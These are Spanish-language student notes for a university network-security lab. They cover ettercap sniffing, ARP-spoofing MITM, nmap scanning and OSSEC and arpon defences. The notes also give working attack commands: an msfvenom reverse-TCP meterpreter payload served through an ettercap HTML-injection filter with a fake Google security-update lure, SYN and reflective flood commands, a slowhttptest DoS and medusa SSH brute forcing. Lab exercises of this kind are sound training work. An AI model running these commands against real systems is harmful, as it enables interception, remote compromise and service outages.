cLSI P2

a) Instale el ettercap y pruebe sus opciones básicas en línea de comando.

apt-get install ettercap-text-only Instalar ettercap

Probar ettercap:

ettercap -Tp	Muestra tu tráfico en modo promiscuo.
ettercap -P list	Muestra la lista de plugins.
ettercap -TPZ	No nos muestra directamente los paquetes, pero si nos da la opción de obtener informacion sobre ellos como lista de hosts, de conexiones, activar filtros, imprimir estadísticas de la interfaz
ettercap -C	Muestra una pequeña interfaz gráfica

b) Capture paquetería variada de su compañero de prácticas que incluya varias sesiones HTTP. Sobre esta paquetería (puede utilizar el wireshark para los siguientes subapartados)

Muestra paquetería y http

Guardaremos los ficheros de ettercap en /home/lsi/Escritorio

w3m www.google.com Navegar por Internet

ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.11.48.144// /10.11.48.1// -w prueba.pcap

scp lsi@10.11.48.143:/home/lsi/Escritorio/FICHERO . DESCARGAR FICHEROS AL PC LOCAL

- **Identifique los campos de cabecera de un paquete TCP**
- **Filtre la captura para obtener el tráfico HTTP**
- **Obtenga los distintos "objetos" del tráfico HTTP (imágenes, pdfs, etc.)**

lynx -source https://upload.wikimedia.org/wikipedia/commons/thumb/5/54/Letter_A.svg/2048px-Letter_A.svg.png > letraA.png

(Descarga la foto directamente)

elinks https://es.wikipedia.org/wiki/Wikipedia:Portada (Esto te lleva a la web y si pulsas sobre la imagen te la descarga)

- **Visualice la paquetería TCP de una determinada sesión.**
- **Sobre el total de la paquetería obtenga estadísticas del tráfico por protocolo como fuente de información para un análisis básico del tráfico.**

  Statistics/Protocol Hierachy
- **Obtenga información del tráfico de las distintas "conversaciones" mantenidas.**
- **Obtenga direcciones finales del tráfico de los distintos protocolos como mecanismo para determinar qué circula por nuestras redes.**

c) Obtenga la relación de las direcciones MAC de los equipos de su segmento.

Instalar comandos -> apt-get install nast

apt install nmap

nast -m -i ens33 Igual, mejor ordenado.

nmap -sP 10.11.48.143/24 MACs en el segmento 10.11.48.

d) Obtenga la relación de las direcciones IPv6 de su segmento.

ip -6 neigh

atk6-alive6 ens33 -d -M RECOMENDADO

e) Obtenga el tráfico de entrada y salida legítimo de su interface de red ens33 e investigue los servicios, conexiones y protocolos involucrados.

apt install iptraf

iptraf-ng ----> General interface statistics O Detailed interface statistics ---> ens33

f) Mediante arpspoofing entre una máquina objetivo (víctima) y el router del laboratorio obtenga todas las URL HTTP visitadas por la víctima.

Primero: nano /etc/ettercap/etter.conf y cambiamos el valor de ec_uid y ec_gid a 0.

DESACTIVAR OSSEC

ettercap -i ens33 -P remote_browser -Tq -M arp:remote /10.11.48.144// /10.11.48.1//

g) Instale metasploit. Haga un ejecutable que incluya un Reverse TCP meterpreter payload para plataformas linux. Inclúyalo en un filtro ettercap y aplique toda su sabiduría en ingeniería social para que una víctima u objetivo lo ejecute.

PRIMERO: CREAMOS EL ARCHIVO METERPRETER.ELF (ATACANTE)

1. cd /var/www/html/
2. msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=10.11.48.143 lport=4444 -f elf -o meterpreter.elf

SEGUNDO: CREAMOS EL FILTRO Y EJECUTAMOS ETTERCAP (ATACANTE)

1. cd /home/lsi/Escritorio
2. nano filtro.filter
    a. Pegamos:

```
if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, "Accept-Encoding")) {

replace("Accept-Encoding", "Accept-Nothing!");

}

}



if (ip.proto == TCP && tcp.src == 80) {

if (search(DATA.data, "<title>")) {

replace("</title>", "</title><img src="alert.gif"><h1> Hemos detectado un problema de

seguridad!</h1><form method="get" action="http://10.11.48.144/meterpreter.elf"><button type="submit"> Haga clic aquÃ para actualizar los ajustes de seguridad de Google"</button></form>");

msg("html injected");

}

}
```

3. etterfilter filtro.filter -o filter.ef
4. ettercap -Tq -F filter.ef -M arp:remote /IP_VICTMA// /IP_ROUTER//80

TERCERO: ABRIMOS OTRO TERMINAL Y ABRIMOS MSFCONSOLE (ATACANTE)

1. msfconsole
2. use exploit/multi/handler
3. set payload linux/x64/meterpreter_reverse_tcp
4. set LHOST IP_ATACANTE
5. set LPORT PUERTO_METERPRETER (4444)
6. exploit

CUARTO: LA VÍCTIMA HACE UNA BÚSQUEDA Y DESCARGA EL ARCHIVO METERPRETER

1. elinks www.google.com
2. Click en el mensaje “pirata” y descargar el archivo que indica
3. chmod +x meterpreter.elf
4. ./meterpreter.elf

EL ATACANTE YA TIENE ACCESO A LA MÁQUINA DE LA VÍCTIMA EN EL MSFCONSOLE

Cerrar atacante: exit

h) Haga un MITM en IPv6 y visualice la paquetería.

IPv6:

- 2002:0a0b:3090::1 alv
- 2002:0a0b:308f::1 joa

ettercap -i ens33 -P repoison_arp -T -M arp:remote /10.11.48.144/2002:0a0b:3090::1/ /10.11.48.1// -w IPv6MITM

i) Pruebe alguna herramienta y técnica de detección del sniffing (preferiblemente arpon).

SARPI (Static), DARPI (Dynamic (DHCP)), HARPI (Hybrid)

nano /etc/default/arpon	Configuración de arpon
nano /etc/arpon.arpi	IP-MAC admitidas por arpon (router)
	Router: 10.11.48.1 2C:FA:A2:47:F2:65

PROBAR ARPON (lleva unos segs de retardo)

Mientras nos atacan:

systemctl start arpon@ens33	Activamos arpon en ens33
systemctl stop arpon@ens33	Paramos arpon en ens33
arp -a	Ver tablas arp
ip -s -s neigh flush all	Limpiar arp
tail /var/log/arpon/arpon.log	Ver últimas líneas del registro arpon

j) Pruebe distintas técnicas de host discovey, port scanning y OS fingerprinting sobre las máquinas del laboratorio de prácticas en IPv4. Realice alguna de las pruebas de port scanning sobre IPv6. ¿Coinciden los servicios prestados por un sistema con los de IPv4?.

IPv4:

- HOST DISCOVERY: nmap -sL 10.11.48.0/24
- PORT SCANNING: nmap -sS 10.11.48.0/24
- OS fingerprinting: nmap -O 10.11.48.144

IPv6:

- HOST DISCOVERY: nmap -6 -sL 2002:0a0b:3090::1
- PORT SCANNING: nmap -6 -sS 2002:0a0b:3090::1
- OS fingerprinting: nmap -6 -O 2002:0a0b:3090::1

nmap -A -vv 10.11.48.144	Obtener toda la info de una maquina

k) Obtenga información "en tiempo real" sobre las conexiones de su máquina, así como del ancho de banda consumido en cada una de ellas.

Instalamos iftop: apt install iftop

Instalamos vnstat: apt install vnstat

Ver la informaciión en tiempo real: iftop –i ens33

- Primera columna: ip origen
- Segunda columna: direccion de tráfico =>(subida) <=(bajada)
- Tercera columna: ip destino
- Últimas tres columnas: ancho de banda en los últimos 2, 10 y 40 segundos

Ancho de banda en tiempo real: vnstat -l -i ens33

Ancho de banda en intervalos de 5mins: vnstat -5 -i ens33

Ancho de banda en intervalos de horas: vnstat -h -i ens33

- Con -i especificamos interfaz
- rx: Tráfico de entrada
- tx: Tráfico de salida

l) PARA PLANTEAR DE FORMA TEÓRICA.: ¿Cómo podría hacer un DoS de tipo direct attack contra un equipo de la red de prácticas? ¿Y mediante un DoS de tipo reflective flooding attack?.

packit –c 0 –b 0 –s <ip_origin> –d <ip_target> –F S –S xx –D xx:

-c: número de paquetes (0=inyectar indefinidamente)

-b: cada cuanto tiempo (0=indefinidamente)

-s: ip origen. Usar –sR para utilizar una aleatoria

-d: ip destino. Usar –dR para utilizar una aleatoria

-F: TCP flags (SFAPUR, S=SYN)

-S: puerto origen, por defecto es random

- 21,80,443: el firewall los deja salir, el origen responde (+ mensajes)

-D: puerto destino, por defecto es 0

- 22,80,123,514: lo deja pasar el firewall

Ataque directo: packit –sR –i ens33 –c 0 –b 0 –d <ip_target> –F S –S 80 –D 22

Ataque reflexivo: hping3 –S –p 80 --flood --rand-source 10.10.102.Y las respuestas de las máquinas aleatorias de Internet inundarán a la víctima.

m) Ataque un servidor apache instalado en algunas de las máquinas del laboratorio de prácticas para tratar de provocarle una DoS. Utilice herramientas DoS que trabajen a nivel de aplicación (capa 7). ¿Cómo podría proteger dicho servicio ante este tipo de ataque? ¿Y si se produjese desde fuera de su segmento de red? ¿Cómo podría tratar de saltarse dicha protección?

Instalar servidor apache:

- Apt install apache2
- systemctl enable apache2
- systemctl start apache2
- Comprobar disponibilidad server: links2 http://127.0.0.1/

Ataque:

- Apt-get install slowhttptest
- slowhttptest -c 1000 -g -X -o myDoS -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.11.48.143 -p 3 -l 20
    - Al finalizar nos hace una gráfica en html que se puede visualizar cuando lo descargamos al pc local.
    - -c 1000: Número de conexiones máximas
    - -X: Activa slow_read_stats (Mantiene el máximo de conexiones activas)
    - -o fichero: Genera un html con los parámetros del test (myDoS)
    - -r 200: Conexiones
    - -w 512: Rango de bytes del Windows size
    - -y: Fin del rango de bytes del Windows size
    - -n: intervalos de segundos
    - -p: seconds timeout to wait for HTTP response on probe connection, after which server is considered inaccessible
    - -l: longitud del test en segundos (20 es suficiente para 1000 conexs.)

n) Instale y configure modsecurity. Vuelva a proceder con el ataque del apartado anterior.

¿Qué acontece ahora?

nano /etc/modsecurity/modsecurity.conf

El servicio no se cae, las conexiones DoS llegan, pero son rechazadas.

Tener desactivado Ossec, sino banea la IP.

a2dismod security2

a2enmod security2

o) Buscamos información.:

- **Obtenga de forma pasiva el direccionamiento público IPv4 e IPv6 asignado**

a la Universidade da Coruña.

host www.udc.es

• Obtenga información sobre el direccionamiento de los servidores DNS y MX de la Universidade da Coruña.

MX: nslookup -query=mx udc.es

DNS: nslookup udc.es (Apartado non-authoritative)

• ¿Puede hacer una transferencia de zona sobre los servidores DNS de la UDC?. En caso negativo, obtenga todos los nombres.dominio posibles de la UDC.

Transferencia: dig @10.11.48.143 axfr udc.es (No podemos)

Nombres.dominio: dnsrecon -d udc.es

• ¿Qué gestor de contenidos se utiliza en www.usc.es?

Instalamos whatweb: apt install whatweb

Obtener info. whatweb www.usc.es

p) Trate de sacar un perfil de los principales sistemas que conviven en su red de prácticas, puertos accesibles, fingerprinting, etc.

APARTADOS YA REALIZADOS ANTERIORMENTE

Perfil de los sistemas de nuestra red:

- HOST DISCOVERY: nmap -sL 10.11.48.0/24
- PORT SCANNING: nmap -sS 10.11.48.0/24
- OS fingerprinting: nmap -O 10.11.48.144

q) Realice algún ataque de "password guessing" contra su servidor ssh y compruebe que el analizador de logs reporta las correspondientes alarmas.

ATAQUE: medusa -H /home/lsi/Escritorio/usersMedusa.txt -u lsi -P /home/lsi/Escritorio/passwordsMedusa.txt -M ssh -f -O /home/lsi/Escritorio/logMedusa.log

LOG: nano /home/lsi/Escritorio/logMedusa.log

-h : El host al cual le vamos a realizar el ataque

-H : Para especificar una lista de hosts

-u : Usuario al que le vamos a realizar el ataque (lsi)

-P : Para especificar una lista de contraseñas

-O : Crea un log

-M : El modulo que deseamos emplear (sin la extension .mod)

-n : Para especificar el puerto del servicio (En caso de que no esté corriendo en el default)

-f : Se detiene al encontrar la contraseña

r) Reportar alarmas está muy bien, pero no estaría mejor un sistema activo, en lugar de uno pasivo. Configure algún sistema activo, por ejemplo OSSEC, y pruebe su funcionamiento ante un "password guessing".

Repositorio: git clone https://github.com/ossec/ossec-hids.gitcd

Configuracion de Ossec: /var/ossec/etc/ossec.conf

Iniciar Ossec: /var/ossec/bin/ossec-control start

Parar Ossec: /var/ossec/bin/ossec-control stop

Para ver si corté conexiones (víctima):

- iptables –L
- nano /etc/hosts.deny

var/ossec/active-response/bin/firewall-drop.sh delete - 10.11.48.143

var/ossec/active-response/bin/host-deny.sh delete - 10.11.48.143

s) Supongamos que una máquina ha sido comprometida y disponemos de un fichero con sus mensajes de log. Procese dicho fichero con OSSEC para tratar de localizar evidencias de lo acontecido ("post mortem"). Muestre las alertas detectadas con su grado de criticidad, así como un resumen de las mismas.

Información del log sin explicar ni depurar:

- cat /var/log/auth.log | /var/ossec/bin/ossec-logtest –a

Información depurada y explicada:

- cat /var/log/auth.log | /var/ossec/bin/ossec-logtest -a | /var/ossec/bin/ossec-reportd

##

Cuidado envenenar toda la red (cuidado con las barras)

.pcap (wireshark)

Descargar: scp fichero ruta

h)

Ver lo que esta haciendo en tiempo real -> OK

o ver solo las url -> Bien pero penalizado

G) payload que sea concretamente un REVERSE SHELL INTERPRETER

I) Cuando el atacado activa el arpón, su Mac en la tabla ARP no puede cambiar

J) P) fingerprinting,

A .32 en adelante (una cualquiera (compañero vale))

L)

M) mod_security ----> OK velocidad de escritura, lectura, ese tipo de cosas (va a ver la configuración de eso)

Mod_evasive ----> PENALIZADO

O)

Q)r)s) Ataque de fuerza bruta: MEDUSA

Crear dos ficheros de users y passwords

Para defenderse: Instalar ossec (no es con apt) hay que compilarlo (OJO LAS DEPENDENCIAS)

Defensa como hacerlo:

- Ver la detección email, log (en la maquina atacada)
- IPS lo protege

- Devolver la conectividad al que está haciendo ataques contra la máquina(no apagar/desactivar ossec, ni desbanear de forma manual) HAY QUE CONSEGUIR QUE EL OSSEC LO DESBANEE

LINKS

https://www.studocu.com/es/document/universidade-da-coruna/redes/p2-lsi-p2-lsi/15170500

https://github.com/rodarima/lsi/blob/master/p2/p2.md